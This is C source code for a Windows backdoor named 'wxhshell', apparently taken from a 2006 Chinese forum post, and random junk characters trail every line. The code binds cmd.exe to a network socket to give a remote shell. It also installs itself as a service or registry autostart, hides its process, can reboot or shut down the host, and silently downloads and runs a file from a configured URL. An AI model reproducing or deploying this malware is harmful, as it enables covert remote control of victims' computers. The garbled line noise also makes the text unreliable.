      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x8\E~6`,  
    break; d/"gq}NT  
  } R>Z,TQU  
  // 安装 +s#S{b  
  case 'i': { 45]Ym{]  
    if(Install()) 7f.4/x^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !%SdTaC{T  
    else )6O\WB|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nXx6L!HJ#  
    break; p ~,a=  
    } |#Yu.c*  
  // 卸载 eD>-`'7<  
  case 'r': { }S'I DHla  
    if(Uninstall()) Km|9Too  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zm"!E6`69  
    else h;cB_6vt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G1`mn$`kq  
    break; w`H.ey  
    } 'w>uFg1.  
  // 显示 wxhshell 所在路径 7j9D;_(.^$  
  case 'p': { o=mq$Z:}  
    char svExeFile[MAX_PATH]; hNu>s  
    strcpy(svExeFile,"\n\r"); dSA [3V  
      strcat(svExeFile,ExeFile); .WN;TjEg!  
        send(wsh,svExeFile,strlen(svExeFile),0); I!C(K^  
    break; WLg6-@kxXs  
    } -o=P85 V  
  // 重启 eXskwV+7  
  case 'b': { clPZd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YR^Ee8_H  
    if(Boot(REBOOT)) l%-67(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4~]8N@Bii  
    else { $@+p~)r(l  
    closesocket(wsh); >Hd~Ca>  
    ExitThread(0); |r)>bY7  
    } #+ 2:d?t  
    break; [[Jv)?jm  
    } +X2 i/}  
  // 关机 k1QpX@  
  case 'd': { /xX,   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a}[=_vb}K  
    if(Boot(SHUTDOWN)) :IP;Frc MP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $S($97IU=  
    else { ~pX(w!^  
    closesocket(wsh); /iuUUCk  
    ExitThread(0); .N-'; %8  
    } nzQYn  
    break; u8{@PlS  
    } `Yo -5h  
  // 获取shell ?<>,XyY  
  case 's': { X:xC>4]gG'  
    CmdShell(wsh); D7gX,e  
    closesocket(wsh); c Eh0Vh-]  
    ExitThread(0); .,d$%lN  
    break; ^a:vJ)WB7  
  } e4>L@7  
  // 退出 IGF37';;  
  case 'x': { xVh\GU855  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Cn6n4, 0  
    CloseIt(wsh); rw=UK`  
    break; 6N)< o ;U  
    } aPY>fy^8D  
  // 离开 82Z[eo  
  case 'q': { E,ZB;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Mo/2,DiI5  
    closesocket(wsh);  "df13U"  
    WSACleanup(); (> +k3  
    exit(1); 5tgILxSK  
    break; (DEL xE  
        } Pi"tQyw39$  
  } \@ WsF$  
  } NbQMWU~7  
rH2tC=%  
  // 提示信息 C>k;MvqO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tLoD"/z  
} :#Ex3H7  
  } uV/HNzC  
2RSHB o  
  return; 1"4nmw}  
} P"~qio-  
&"r==A?  
// shell模块句柄 -!bLMLIg  
int CmdShell(SOCKET sock) b*6c. o  
{ 0Z1H6qn  
STARTUPINFO si; "M5ro$qZ}  
ZeroMemory(&si,sizeof(si)); nY"rqILX?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c=jI.=mi3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6b+ Wl Ib  
PROCESS_INFORMATION ProcessInfo;  Vgru, '  
char cmdline[]="cmd"; p0y0T|H^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m|e*Jc  
  return 0; G\,A> mT/P  
} uz#eO|z@o  
#BT6bH08X  
// 自身启动模式 Fy(nu-W  
int StartFromService(void)  u_[4n  
{ tmY-m,U  
typedef struct !rsqr32]  
{ QE{;M  
  DWORD ExitStatus; dPyBY ]`  
  DWORD PebBaseAddress;  z7.C\l  
  DWORD AffinityMask; faL^=CAe  
  DWORD BasePriority; gQk#l\w _  
  ULONG UniqueProcessId;  Z,8+@  
  ULONG InheritedFromUniqueProcessId; vElL.<..  
}   PROCESS_BASIC_INFORMATION; [ilv/V<  
d6d(? "  
PROCNTQSIP NtQueryInformationProcess; 4-}A'fTU8  
@L>NN>?SGQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -Y jv&5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0@mX4.!  
l~Wk07r3  
  HANDLE             hProcess; GHgEbiY:  
  PROCESS_BASIC_INFORMATION pbi; yK>0[6l  
q:~`7I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }96/: ;:k  
  if(NULL == hInst ) return 0; +{Vwz  
sKB-7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); amk42  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,TfI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SU#P.y18%  
< jocfTBk  
  if (!NtQueryInformationProcess) return 0; .^`a6>EQ)|  
+'&_V011<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I}G}+0geV  
  if(!hProcess) return 0; /YugQ.>| l  
}Cq9{0by?a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sh)) [V"8  
@<w9fzi  
  CloseHandle(hProcess); vA7jZw  
XpAq=p0;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e=F( Zf+1^  
if(hProcess==NULL) return 0; 9snyX7/!L  
j@?[vi  
HMODULE hMod; M@2Qn-I  
char procName[255]; RzY`^A6G6  
unsigned long cbNeeded; NV:XPw/  
 eS@!\H x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m9<[bEO<$  
7s fuju(  
  CloseHandle(hProcess); 9bcyPN  
E[Ws} n.  
if(strstr(procName,"services")) return 1; // 以服务启动 fF-\TW  
M?4r5R  
  return 0; // 注册表启动 j+B5m:ExfI  
} 6q uWO2x  
5t5S{aCDr  
// 主模块 v`ZusHJ1d  
int StartWxhshell(LPSTR lpCmdLine) 8.3_Wb(c  
{ s3E~X  
  SOCKET wsl; m)]fJ_  
BOOL val=TRUE; /&!d  
  int port=0; ZEyGqCf3  
  struct sockaddr_in door; R#Nd|f<  
oQjB&0k4  
  if(wscfg.ws_autoins) Install(); 1PTu3o&3  
~ GT\RAj[  
port=atoi(lpCmdLine); xd BZ^Q  
5bznM[%xO  
if(port<=0) port=wscfg.ws_port; d @kLLDP  
LX?r=_\  
  WSADATA data; (#l_YI -  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G$kwc F'C  
NUNn[c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UE#Ni 5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O\8|niW|  
  door.sin_family = AF_INET; F?,&y)ri  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U!I_i*:U  
  door.sin_port = htons(port); {LJ6't 8y:  
\gzwsT2&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %d#)({N  
closesocket(wsl); wrb& ta  
return 1; >0+|0ba  
} c+i`Zd.m<  
cxJK>%84  
  if(listen(wsl,2) == INVALID_SOCKET) { #m$%S%s  
closesocket(wsl); W*DIW;8p  
return 1; ZM^;%(  
} Q|H cg|  
  Wxhshell(wsl); /,@v"mE7c!  
  WSACleanup(); E+c3KqM  
Z a1|fB  
return 0; gsR9M%mv  
FR6I+@ oX~  
} ]%Yis=v  
k42ur)pb  
// 以NT服务方式启动 N[bf.5T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?*mbce[  
{ 6.7 Kp  
DWORD   status = 0; |{LaZXU&  
  DWORD   specificError = 0xfffffff; Y&!]I84]  
]j$p_s>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "PScM9)\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <^'+ ]?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jhbH6=f4]^  
  serviceStatus.dwWin32ExitCode     = 0; {2clOUi  
  serviceStatus.dwServiceSpecificExitCode = 0; _,0!ZP-  
  serviceStatus.dwCheckPoint       = 0; *|#JFy?c[  
  serviceStatus.dwWaitHint       = 0; tc2GI6]e'  
tP(bRQ>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1Da [!^u,D  
  if (hServiceStatusHandle==0) return; _xL&sy09t  
-+_aL4.  
status = GetLastError(); W#\};P  
  if (status!=NO_ERROR) Z#:@M[HH{  
{ $H@)hY8wA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2CgIY89O  
    serviceStatus.dwCheckPoint       = 0; }=m?gF%3  
    serviceStatus.dwWaitHint       = 0; OmjT`,/  
    serviceStatus.dwWin32ExitCode     = status; =yhfL2`aw  
    serviceStatus.dwServiceSpecificExitCode = specificError; mS&\m#s<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xA'#JN<*  
    return; q[+: t   
  } &trh\\I"  
-LK(C`gB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;xtb2c8HT  
  serviceStatus.dwCheckPoint       = 0; BCZnF /Zo  
  serviceStatus.dwWaitHint       = 0; PZg]zz=V4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uvv-lAbjw  
} ` "":   
,zw=&)W1  
// 处理NT服务事件,比如:启动、停止 _v=WjN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =LY^3TlDj  
{ }J'w z;t1  
switch(fdwControl) vfTG*jG  
{ G/3lX^Z>  
case SERVICE_CONTROL_STOP: =}GyI_br;8  
  serviceStatus.dwWin32ExitCode = 0; sH,)e'0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x  Bw.M{  
  serviceStatus.dwCheckPoint   = 0; V+~{a:8[pq  
  serviceStatus.dwWaitHint     = 0; mf_'| WDs  
  { m9w ; a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m:O2_%\l  
  } -t'oW*kdL  
  return; vk+%#w  
case SERVICE_CONTROL_PAUSE: UMW^0>Z!v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $hp?5K M  
  break; OSi9J.]O  
case SERVICE_CONTROL_CONTINUE: UZ3Aq12U}a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \bA'Furp  
  break; 4m!3P"$  
case SERVICE_CONTROL_INTERROGATE: j?hyN@ns  
  break; }e =GvWGa  
}; 9,>Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2co{9LM  
} HFWm}vA:  
&:f'{>3z  
// 标准应用程序主函数 WzbN=& C]h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FH(+7Lz4;  
{ /_\W*@ E  
9+Bq00-Z$  
// 获取操作系统版本 58'y~Ou  
OsIsNt=GetOsVer(); H>X1(sh#}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }gRLW2&mR>  
afq +;Sh  
  // 从命令行安装 n(O p<  
  if(strpbrk(lpCmdLine,"iI")) Install(); QjN3j*@  
IMrOPwjc  
  // 下载执行文件 ?o5#Ve$-X  
if(wscfg.ws_downexe) { tS|zf,7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) slO9H6<  
  WinExec(wscfg.ws_filenam,SW_HIDE); y/VmjsN}  
} `|?$; )  
@7 HBXP  
if(!OsIsNt) { \J&#C(pn  
// 如果时win9x,隐藏进程并且设置为注册表启动 zn$ Ld,  
HideProc(); @$} \S  
StartWxhshell(lpCmdLine); pFRnPOv  
} p&doQh  
else EoW zHa  
  if(StartFromService()) VZ@@j[F(  
  // 以服务方式启动 ;QD;5 <1  
  StartServiceCtrlDispatcher(DispatchTable); sn`?Foh  
else K :ptfD  
  // 普通方式启动 N ] /d  
  StartWxhshell(lpCmdLine); 3"D00~  
>8t[EsW/  
return 0; vg1s5Y qk  
}
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只看该作者 1 发表于: 2006-10-10
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